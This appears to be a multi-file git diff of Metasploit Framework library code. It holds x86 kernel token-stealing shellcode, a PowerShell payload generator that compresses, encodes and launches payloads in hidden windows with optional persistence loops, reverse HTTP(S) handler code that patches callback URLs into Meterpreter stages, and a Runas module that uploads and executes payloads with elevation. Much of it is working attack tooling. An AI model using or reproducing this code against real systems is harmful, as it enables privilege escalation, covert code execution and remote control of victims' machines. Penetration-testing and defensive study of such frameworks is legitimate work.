arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1
end
if arch.nil?
print_error('Can not determine the target architecture')
fail ArgumentError, 'Invalid arch'
end
tokenstealing = ''
case arch
when ARCH_X86
tokenstealing << "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
unless backup_token.nil?
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided
end
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
else
# if this is reached the issue most likely exists in the exploit module
print_error('Unsupported arch for token stealing shellcode')
fail ArgumentError, 'Invalid arch'
end
tokenstealing
end
end
end

View File

@ -1,178 +1,380 @@
# -*- coding: binary -*-
require 'zlib'
require 'rex/exploitation/powershell'
module Msf
module Exploit::Powershell
PowershellScript = Rex::Exploitation::Powershell::Script
def initialize(info = {})
super
register_options(
[
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
OptBool.new('RUN_WOW64', [
true,
'Execute powershell in 32bit compatibility mode, payloads need native arch',
false
]),
register_advanced_options(
[
OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]),
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]),
], self.class)
end
#
# Insert substitutions into the powershell script
# Return an encoded powershell script
# Will invoke PSH modifiers as enabled
#
def make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
# @param script_in [String] Script contents
#
# @return [String] Encoded script
def encode_script(script_in)
# Build script object
psh = PowershellScript.new(script_in)
# Invoke enabled modifiers
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
end
subs.each do |set|
script.gsub!(set[0],set[1])
end
if datastore['VERBOSE']
print_good("Final Script: ")
script.each_line {|l| print_status("\t#{l}")}
end
return script
psh.encode_code
end
#
# Return an array of substitutions for use in make_subs
# Return a gzip compressed powershell script
# Will invoke PSH modifiers as enabled
#
def process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
return new_subs
end
#
# Read in a powershell script stored in +script+
#
def read_script(script)
script_in = ''
begin
# Open script file for reading
fd = ::File.new(script, 'r')
while (line = fd.gets)
script_in << line
end
# Close open file
fd.close()
rescue Errno::ENAMETOOLONG, Errno::ENOENT
# Treat script as a... script
script_in = script
end
return script_in
end
#
# Return a zlib compressed powershell script
# @param script_in [String] Script contents
# @param eof [String] Marker to indicate the end of file appended to script
#
# @return [String] Compressed script with decompression stub
def compress_script(script_in, eof = nil)
# Build script object
psh = PowershellScript.new(script_in)
# Invoke enabled modifiers
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
end
# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(script_in,
::Zlib::BEST_COMPRESSION)
# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = "$stream = New-Object IO.MemoryStream(,"
psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression << "$stream.ReadByte()|Out-Null;"
psh_expression << "$stream.ReadByte()|Out-Null;"
# Uncompress and invoke the expression (execute)
psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
psh_expression << "$(New-Object IO.Compression.DeflateStream("
psh_expression << "$stream,"
psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
# If eof is set, add a marker to signify end of script output
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
# Convert expression to unicode
unicode_expression = Rex::Text.to_unicode(psh_expression)
# Base64 encode the unicode expression
encoded_expression = Rex::Text.encode_base64(unicode_expression)
return encoded_expression
psh.compress_code(eof)
end
#
# Runs powershell in hidden window raising interactive proc msg
# Generate a powershell command line, options are passed on to
# generate_psh_args
#
def run_hidden_psh(ps_code,ps_bin='powershell.exe')
ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
# @param opts [Hash] The options to generate the command line
# @option opts [String] :path Path to the powershell binary
# @option opts [Boolean] :no_full_stop Whether powershell binary
# should include .exe
#
# @return [String] Powershell command line with arguments
def generate_psh_command_line(opts)
if opts[:path] and (opts[:path][-1, 1] != '\\')
opts[:path] << '\\'
end
ps_wrapper = <<EOS
$si = New-Object System.Diagnostics.ProcessStartInfo
$si.FileName = #{ps_bin}
$si.Arguments = '#{ps_args}'
$si.UseShellExecute = $false
$si.RedirectStandardOutput = $true
$si.WindowStyle = 'Hidden'
$si.CreateNoWindow = $True
$p = [System.Diagnostics.Process]::Start($si)
if opts[:no_full_stop]
binary = 'powershell'
else
binary = 'powershell.exe'
end
args = generate_psh_args(opts)
"#{opts[:path]}#{binary} #{args}"
end
#
# Generate arguments for the powershell command
# The format will be have no space at the start and have a space
# afterwards e.g. "-Arg1 x -Arg -Arg x "
#
# @param opts [Hash] The options to generate the command line
# @option opts [Boolean] :shorten Whether to shorten the powershell
# arguments (v2.0 or greater)
# @option opts [String] :encodedcommand Powershell script as an
# encoded command (-EncodedCommand)
# @option opts [String] :executionpolicy The execution policy
# (-ExecutionPolicy)
# @option opts [String] :inputformat The input format (-InputFormat)
# @option opts [String] :file The path to a powershell file (-File)
# @option opts [Boolean] :noexit Whether to exit powershell after
# execution (-NoExit)
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
# @option opts [Boolean] :noninteractive Whether to load a non
# interactive powershell (-NonInteractive)
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
# Apartment (-Mta)
# @option opts [String] :outputformat The output format
# (-OutputFormat)
# @option opts [Boolean] :sta Whether to run as Single-Threaded
# Apartment (-Sta)
# @option opts [Boolean] :noprofile Whether to use the current users
# powershell profile (-NoProfile)
# @option opts [String] :windowstyle The window style to use
# (-WindowStyle)
#
# @return [String] Powershell command arguments
def generate_psh_args(opts)
return '' unless opts
unless opts.key? :shorten
opts[:shorten] = (datastore['Powershell::method'] != 'old')
end
arg_string = ' '
opts.each_pair do |arg, value|
case arg
when :encodedcommand
arg_string << "-EncodedCommand #{value} " if value
when :executionpolicy
arg_string << "-ExecutionPolicy #{value} " if value
when :inputformat
arg_string << "-InputFormat #{value} " if value
when :file
arg_string << "-File #{value} " if value
when :noexit
arg_string << '-NoExit ' if value
when :nologo
arg_string << '-NoLogo ' if value
when :noninteractive
arg_string << '-NonInteractive ' if value
when :mta
arg_string << '-Mta ' if value
when :outputformat
arg_string << "-OutputFormat #{value} " if value
when :sta
arg_string << '-Sta ' if value
when :noprofile
arg_string << '-NoProfile ' if value
when :windowstyle
arg_string << "-WindowStyle #{value} " if value
end
end
# Command must be last (unless from stdin - etc)
if opts[:command]
arg_string << "-Command #{opts[:command]}"
end
# Shorten arg if PSH 2.0+
if opts[:shorten]
# Invoke-Command and Out-File require these options to have
# an additional space before to prevent Powershell code being
# mangled.
arg_string.gsub!(' -Command ', ' -c ')
arg_string.gsub!('-EncodedCommand ', '-e ')
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
arg_string.gsub!(' -File ', ' -f ')
arg_string.gsub!('-InputFormat ', '-i ')
arg_string.gsub!('-NoExit ', '-noe ')
arg_string.gsub!('-NoLogo ', '-nol ')
arg_string.gsub!('-NoProfile ', '-nop ')
arg_string.gsub!('-NonInteractive ', '-noni ')
arg_string.gsub!('-OutputFormat ', '-o ')
arg_string.gsub!('-Sta ', '-s ')
arg_string.gsub!('-WindowStyle ', '-w ')
end
# Strip off first space character
arg_string = arg_string[1..-1]
# Remove final space character
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
arg_string
end
#
# Wraps the powershell code to launch a hidden window and
# detect the execution environment and spawn the appropriate
# powershell executable for the payload architecture.
#
# @param ps_code [String] Powershell code
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
#
# @return [String] Wrapped powershell code
def run_hidden_psh(ps_code, payload_arch, encoded)
arg_opts = {
noprofile: true,
windowstyle: 'hidden',
}
if encoded
arg_opts[:encodedcommand] = ps_code
else
arg_opts[:command] = ps_code.gsub("'", "''")
end
# Old technique fails if powershell exits..
arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
ps_args = generate_psh_args(arg_opts)
process_start_info = <<EOS
$s=New-Object System.Diagnostics.ProcessStartInfo
$s.FileName=$b
$s.Arguments='#{ps_args}'
$s.UseShellExecute=$false
$p=[System.Diagnostics.Process]::Start($s)
EOS
process_start_info.gsub!("\n", ';')
archictecure_detection = <<EOS
if([IntPtr]::Size -eq 4){
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
}else{
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
};
EOS
return ps_wrapper
archictecure_detection.gsub!("\n", '')
archictecure_detection + process_start_info
end
#
# Creates cmd script to execute psh payload
# Creates a powershell command line string which will execute the
# payload in a hidden window in the appropriate execution environment
# for the payload architecture. Opts are passed through to
# run_hidden_psh, generate_psh_command_line and generate_psh_args
#
def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64'])
# Allow powershell 1.0 format
if old_psh
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
else
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
# @param pay [String] The payload shellcode
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param opts [Hash] The options to generate the command
# @option opts [Boolean] :persist Loop the payload to cause
# re-execution if the shellcode finishes
# @option opts [Integer] :prepend_sleep Sleep for the specified time
# before executing the payload
# @option opts [String] :method The powershell injection technique to
# use: 'net'/'reflection'/'old'
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
# script within the hidden/architecture detection wrapper
# @option opts [Boolean] :encode_final_payload Encodes the final
# powershell script
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
# environment variable at the start of the command line
# @option opts [Boolean] :use_single_quotes Wraps the -Command
# argument in single quotes unless :encode_final_payload
#
# @return [String] Powershell command line with payload
def cmd_psh_payload(pay, payload_arch, opts = {})
opts[:persist] ||= datastore['Powershell::persist']
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
opts[:method] ||= datastore['Powershell::method']
if opts[:encode_inner_payload] && opts[:encode_final_payload]
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
end
if opts[:no_equals] && !opts[:encode_final_payload]
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
end
psh_payload = case opts[:method]
when 'net'
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
when 'reflection'
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
when 'old'
Msf::Util::EXE.to_win32pe_psh(framework, pay)
when 'msil'
fail RuntimeError, 'MSIL Powershell method no longer exists'
else
fail RuntimeError, 'No Powershell method specified'
end
# Run our payload in a while loop
if datastore['PERSIST']
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
sleep_time = rand(5)+5
if opts[:persist]
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
sleep_time = rand(5) + 5
vprint_status("Sleep time set to #{sleep_time} seconds")
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
# Determine appropriate architecture
ps_bin = wow64 ? '$env:windir+\'\syswow64\WindowsPowerShell\v1.0\powershell.exe\'' : '\'powershell.exe\''
# Wrap in hidden runtime
psh_payload = run_hidden_psh(psh_payload,ps_bin)
# Convert to base64 for -encodedcommand execution
command = "%COMSPEC% /B /C start powershell.exe -Command #{psh_payload.gsub("\n",';').gsub('"','\"')}\r\n"
end
#
# Convert binary to byte array, read from file if able
#
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
if opts[:prepend_sleep]
if opts[:prepend_sleep].to_i > 0
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
else
lines.push ",0x#{code[byte].to_s(16)}"
vprint_error('Sleep time must be greater than 0 seconds')
end
end
psh << lines.join("") + "\r\n"
compressed_payload = compress_script(psh_payload)
encoded_payload = encode_script(psh_payload)
# This branch is probably never taken...
if encoded_payload.length <= compressed_payload.length
smallest_payload = encoded_payload
encoded = true
else
if opts[:encode_inner_payload]
encoded = true
compressed_encoded_payload = encode_script(compressed_payload)
if encoded_payload.length <= compressed_encoded_payload.length
smallest_payload = encoded_payload
else
smallest_payload = compressed_encoded_payload
end
else
smallest_payload = compressed_payload
encoded = false
end
end
# Wrap in hidden runtime / architecture detection
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
command_args = {
noprofile: true,
windowstyle: 'hidden'
}.merge(opts)
if opts[:encode_final_payload]
command_args[:encodedcommand] = encode_script(final_payload)
# If '=' is a bad character pad the payload until Base64 encoded
# payload contains none.
if opts[:no_equals]
while command_args[:encodedcommand].include? '='
final_payload << ' '
command_args[:encodedcommand] = encode_script(final_payload)
end
end
else
if opts[:use_single_quotes]
# Escape Single Quotes
final_payload.gsub!("'", "''")
# Wrap command in quotes
final_payload = "'#{final_payload}'"
end
command_args[:command] = final_payload
end
psh_command = generate_psh_command_line(command_args)
if opts[:remove_comspec]
command = psh_command
else
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
end
vprint_status("Powershell command length: #{command.length}")
if command.length > 8191
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
end
command
end
#
# Useful method cache
#
module PshMethods
include Rex::Exploitation::Powershell::PshMethods
end
end
end

View File

@ -31,27 +31,6 @@ module ReverseHttp
"tunnel"
end
#
# Use the +refname+ to determine whether this handler uses SSL or not
#
def ssl?
!!(self.refname.index("https"))
end
#
# Return a URI of the form scheme://host:port/
#
# Scheme is one of http or https and host is properly wrapped in [] for ipv6
# addresses.
#
def full_uri
local_port = bind_port
scheme = (ssl?) ? "https" : "http"
"#{scheme}://#{datastore['LHOST']}:#{datastore['LPORT']}/"
end
#
# Initializes the HTTP SSL tunneling handler.
#
@ -77,14 +56,64 @@ module ReverseHttp
], Msf::Handler::ReverseHttp)
end
#
# Toggle for IPv4 vs IPv6 mode
#
def ipv6
self.refname.index('ipv6') ? true : false
def ipv6?
Rex::Socket.is_ipv6?(datastore['LHOST'])
end
# Determine where to bind the server
#
# @return [String]
def listener_address
if datastore['ReverseListenerBindAddress'].to_s.empty?
bindaddr = (ipv6?) ? '::' : '0.0.0.0'
else
bindaddr = datastore['ReverseListenerBindAddress']
end
bindaddr
end
# @return [String] A URI of the form +scheme://host:port/+
def listener_uri
if ipv6?
listen_host = "[#{listener_address}]"
else
listen_host = listener_address
end
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
end
# Return a URI suitable for placing in a payload.
#
# Host will be properly wrapped in square brackets, +[]+, for ipv6
# addresses.
#
# @return [String] A URI of the form +scheme://host:port/+
def payload_uri
if ipv6?
callback_host = "[#{datastore['LHOST']}]"
else
callback_host = datastore['LHOST']
end
"#{scheme}://#{callback_host}:#{datastore['LPORT']}/"
end
# Use the {#refname} to determine whether this handler uses SSL or not
#
def ssl?
!!(self.refname.index("https"))
end
# URI scheme
#
# @return [String] One of "http" or "https" depending on whether we
# are using SSL
def scheme
(ssl?) ? "https" : "http"
end
# Create an HTTP listener
#
def setup_handler
@ -98,17 +127,11 @@ module ReverseHttp
local_port = bind_port
# Determine where to bind the HTTP(S) server to
bindaddrs = ipv6 ? '::' : '0.0.0.0'
if not datastore['ReverseListenerBindAddress'].to_s.empty?
bindaddrs = datastore['ReverseListenerBindAddress']
end
# Start the HTTPS server service on this host/port
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
local_port,
bindaddrs,
listener_address,
ssl?,
{
'Msf' => framework,
@ -130,9 +153,7 @@ module ReverseHttp
},
'VirtualDirectory' => true)
scheme = (ssl?) ? "https" : "http"
bind_url = "#{scheme}://#{bindaddrs}:#{local_port}/"
print_status("Started #{scheme.upcase} reverse handler on #{bind_url}")
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
end
#
@ -165,7 +186,6 @@ protected
# Parses the HTTPS request
#
def on_request(cli, req, obj)
sid = nil
resp = Rex::Proto::Http::Response.new
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
@ -176,7 +196,7 @@ protected
case uri_match
when /^\/INITJM/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = full_uri + conn_id + "/\x00"
url = payload_uri + conn_id + "/\x00"
blob = ""
blob << obj.generate_stage
@ -239,10 +259,10 @@ protected
blob[i, proxyinfo.length] = proxyinfo
print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...")
#Optional authentification
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
datastore['PROXY_TYPE'] == 'SOCKS'
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
proxy_username = datastore['PROXY_USERNAME'] << "\x00"
blob[proxy_username_loc, proxy_username.length] = proxy_username
@ -266,7 +286,7 @@ protected
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
i = blob.index("https://" + ("X" * 256))
if i
url = full_uri + conn_id + "/\x00"
url = payload_uri + conn_id + "/\x00"
blob[i, url.length] = url
end
print_status("Patched URL at offset #{i}...")
@ -308,7 +328,7 @@ protected
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => full_uri + conn_id + "/\x00",
:url => payload_uri + conn_id + "/\x00",
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?,

View File

@ -45,6 +45,7 @@ module Msf
# Map "random" URIs to static strings, allowing us to randomize
# the URI sent in the first request.
#
# @param uri_match [String] The URI string to convert back to the original static value
# @return [String] The static URI value derived from the checksum
def process_uri_resource(uri_match)
@ -69,6 +70,7 @@ module Msf
end
# Create a URI that matches a given checksum
#
# @param sum [Fixnum] The checksum value you are trying to create a URI for
# @return [String] The URI string that checksums to the given value
def generate_uri_checksum(sum)

View File

@ -1,34 +0,0 @@
# -*- coding: binary -*-
require 'msf/core/handler/reverse_http'
module Msf
module Handler
###
#
# This handler implements the HTTP tunneling interface.
#
###
module ReverseIPv6Http
include Msf::Handler::ReverseHttp
#
# Override the handler_type to indicate IPv6 mode
#
def self.handler_type
return "reverse_ipv6_http"
end
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self.general_handler_type
"tunnel"
end
end
end
end

View File

@ -1,35 +0,0 @@
# -*- coding: binary -*-
require 'msf/core/handler/reverse_http'
require 'msf/core/handler/reverse_https'
module Msf
module Handler
###
#
# This handler implements the HTTP SSL tunneling interface.
#
###
module ReverseIPv6Https
include Msf::Handler::ReverseHttps
#
# Override the handler_type to indicate IPv6 mode
#
def self.handler_type
return "reverse_ipv6_https"
end
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self.general_handler_type
"tunnel"
end
end
end
end

View File

@ -18,7 +18,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
# Yields the module_reference_name for each module file found under the directory path.
#
# @param [String] path The path to the directory.
# @param [Array] modules An array of regex patterns to search for specific modules
# @param [Hash] opts Input Hash.
# @yield (see Msf::Modules::Loader::Base#each_module_reference_name)
# @yieldparam [String] path The path to the directory.
# @yieldparam [String] type The type correlated with the directory under path.

View File

@ -11,8 +11,10 @@ module Msf::Post::Windows
require 'msf/core/post/windows/process'
require 'msf/core/post/windows/railgun'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/runas'
require 'msf/core/post/windows/services'
require 'msf/core/post/windows/wmic'
require 'msf/core/post/windows/netapi'
require 'msf/core/post/windows/shadowcopy'
require 'msf/core/post/windows/user_profiles'
require 'msf/core/post/windows/ldap'

View File

@ -270,7 +270,7 @@ module Accounts
#define generic mapping structure
gen_map = [0,0,0,0]
gen_map = gen_map.pack("L")
gen_map = gen_map.pack("V")
buffer_size = 500
#get Security Descriptor for the directory

View File

@ -2527,5 +2527,5 @@ module Msf::Post::Windows::Error
SYSTEM_DEVICE_NOT_FOUND = 0x3BC3
HASH_NOT_SUPPORTED = 0x3BC4
HASH_NOT_PRESENT = 0x3BC5
INVALID_HANDLE_VALUE = 0xffffffff
end

View File

@ -248,7 +248,7 @@ module LDAP
# @param pEntry [Fixnum] Pointer to the Entry
# @return [Array] Entry data structure
def get_entry(pEntry)
return client.railgun.memread(pEntry,41).unpack('LLLLLLLLLSCCC')
return client.railgun.memread(pEntry,41).unpack('VVVVVVVVVvCCC')
end
# Get BER Element data structure from LDAPMessage
@ -256,7 +256,7 @@ module LDAP
# @param msg [String] The LDAP Message from the server
# @return [String] The BER data structure
def get_ber(msg)
ber = client.railgun.memread(msg[2],60).unpack('L*')
ber = client.railgun.memread(msg[2],60).unpack('V*')
# BER Pointer is different between x86 and x64
if client.platform =~ /x64/

View File

@ -68,6 +68,11 @@ module NetAPI
base = 0
struct_size = 8
hosts = []
if count == 0
return hosts
end
mem = client.railgun.memread(start_ptr, struct_size*count)
count.times do

View File

@ -0,0 +1,38 @@
# -*- coding: binary -*-
require 'msf/core/exploit/powershell'
require 'msf/core/exploit/exe'
module Msf::Post::Windows::Runas
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Powershell
def execute_exe(filename = nil, path = nil, upload = nil)
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
payload_path = path || get_env('TEMP')
cmd_location = "#{payload_path}\\#{payload_filename}"
if upload
exe_payload = generate_payload_exe
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
write_file(cmd_location, exe_payload)
else
print_status("No file uploaded, attempting to execute #{cmd_location}...")
end
shell_exec(cmd_location, nil)
end
def execute_psh
powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
command = 'cmd.exe'
args = "/c #{powershell_command}"
shell_exec(command, args)
end
def shell_exec(command, args)
print_status('Executing elevated command...')
session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
end
end

View File

@ -334,7 +334,7 @@ module Services
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{handle["GetLastError"]}")
end
vals = status['lpServiceStatus'].unpack('L*')
vals = status['lpServiceStatus'].unpack('V*')
adv.CloseServiceHandle(handle["return"])
ret = {

View File

@ -18,8 +18,20 @@ module Msf::HTTP::Typo3::Login
return nil
end
e = res_main.body.match(/<input type="hidden" id="rsa_e" name="e" value="(\d+)" \/>/)[1]
n = res_main.body.match(/<input type="hidden" id="rsa_n" name="n" value="(\w+)" \/>/)[1]
e_match = res_main.body.match(/<input type="hidden" id="rsa_e" name="e" value="(\d+)" \/>/)
if e_match.nil?
vprint_error('Can not find rsa_e value')
return nil
end
e = e_match[1]
n_match = res_main.body.match(/<input type="hidden" id="rsa_n" name="n" value="(\w+)" \/>/)
if n_match.nil?
vprint_error('Can not find rsa_n value')
return nil
end
n = n_match[1]
vprint_debug("e: #{e}")
vprint_debug("n: #{n}")
rsa_enc = typo3_helper_login_rsa(e, n, pass)

View File

@ -25,10 +25,20 @@ module Msf
super
register_options(
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
], HTTP::Wordpress
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/'])
], HTTP::Wordpress
)
register_advanced_options(
[
Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content'])
], HTTP::Wordpress
)
end
def wp_content_dir
datastore['WPCONTENTDIR']
end
end
end

View File

@ -1,28 +1,23 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Base
# Checks if the site is online and running wordpress
#
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
def wordpress_and_online?
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return res if res and
res.code == 200 and
(
res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or
res.body =~ /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i or
res.body =~ /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'] \/>/i
)
return nil
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Error connecting to #{target_uri}")
return nil
end
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
wordpress_detect_regexes = [
/["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i,
/<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i,
/<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'](?: \/)*>/i
]
return res if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r }
return nil
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error("#{peer} - Error connecting to #{target_uri}: #{e}")
return nil
end
end

View File

@ -49,7 +49,7 @@ module Msf::HTTP::Wordpress::Helpers
options.merge!({'vars_post' => vars_post})
options.merge!({'cookie' => login_cookie}) if login_cookie
res = send_request_cgi(options)
if res and (res.code == 301 or res.code == 302) and res.headers['Location']
if res && res.redirect? && res.redirection
return wordpress_helper_parse_location_header(res)
else
message = "#{peer} - Post comment failed."
@ -101,7 +101,7 @@ module Msf::HTTP::Wordpress::Helpers
else
return res.body
end
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
elsif res && res.redirect? && res.redirection
path = wordpress_helper_parse_location_header(res)
return wordpress_helper_check_post_id(path, comments_enabled, login_cookie)
end
@ -113,9 +113,9 @@ module Msf::HTTP::Wordpress::Helpers
# @param res [Rex::Proto::Http::Response] The HTTP response
# @return [String,nil] the path and query, nil on error
def wordpress_helper_parse_location_header(res)
return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location']
return nil unless res && res.redirect? && res.redirection
location = res.headers['Location']
location = res.redirection
path_from_uri(location)
end

View File

@ -1,6 +1,6 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Login
module Msf::HTTP::Wordpress::Login
# performs a wordpress login
#
# @param user [String] Username
@ -8,21 +8,23 @@ module Msf::HTTP::Wordpress::Login
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
def wordpress_login(user, pass)
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
res = send_request_cgi({
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_login,
'vars_post' => wordpress_helper_login_post_data(user, pass, redirect)
})
if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect
)
